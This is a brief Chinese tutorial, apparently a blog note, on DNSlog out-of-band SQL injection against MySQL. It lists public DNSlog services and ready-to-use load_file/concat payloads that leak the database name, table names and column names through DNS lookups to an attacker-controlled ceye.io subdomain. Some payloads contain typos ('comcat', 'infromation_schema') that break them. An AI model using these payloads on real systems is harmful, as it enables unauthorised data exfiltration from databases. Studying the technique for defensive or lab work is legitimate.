DNSlog注入也可以称之为dns带外查询,Dns在域名解析时会在DNS服务器上留下域名和解析il的记录,可以在dns服务器上查询相应的dns解析记录,来获取大致原理。
DNSlog服务器无需自己搭建
http://ceye.io/ 知道创宇公司提供的
http://www.dnslog.cn/
http://admin.dnslog.link
条件:
- 需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的话,不能调用这个函数,只有在mysql配置中开启了secure_file_priv配置,就可以通过sql语句来执行文件读写操作。
- 目标mysql数据库能够访问外网
select load_file('\\\\xxx.xxxx.xxx\\xx'); #xxx.xxxx.xxx\\xx是某个网址
此处的路径我们称之为UNC路径
那么我们就可以通过只有的方式然后拼接数据库函数,通过DNSlog获得数据库的信息
select load_file(concat('\\\\',(select database()),'xxxx.xxx.xx\\xxx'))#获取数据库库名字
示例:
上图是创宇公司提供的的DNSlog服务器网址
select load_file(comcat('\\\\',(select database()),'9fqiop.ceye.io\\abc'))#获取数据库名字
获取表名
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'9fqiop.ceye.io\\abc')))
修改limit的数字即可得到其他表名
查询字段名
and (select load_file(concat('\\\\',(select column_name from infromation_schema.columns where table_schema=database() and table_name='member' limit 0,1), '9fqiop.ceye.io\\abc')))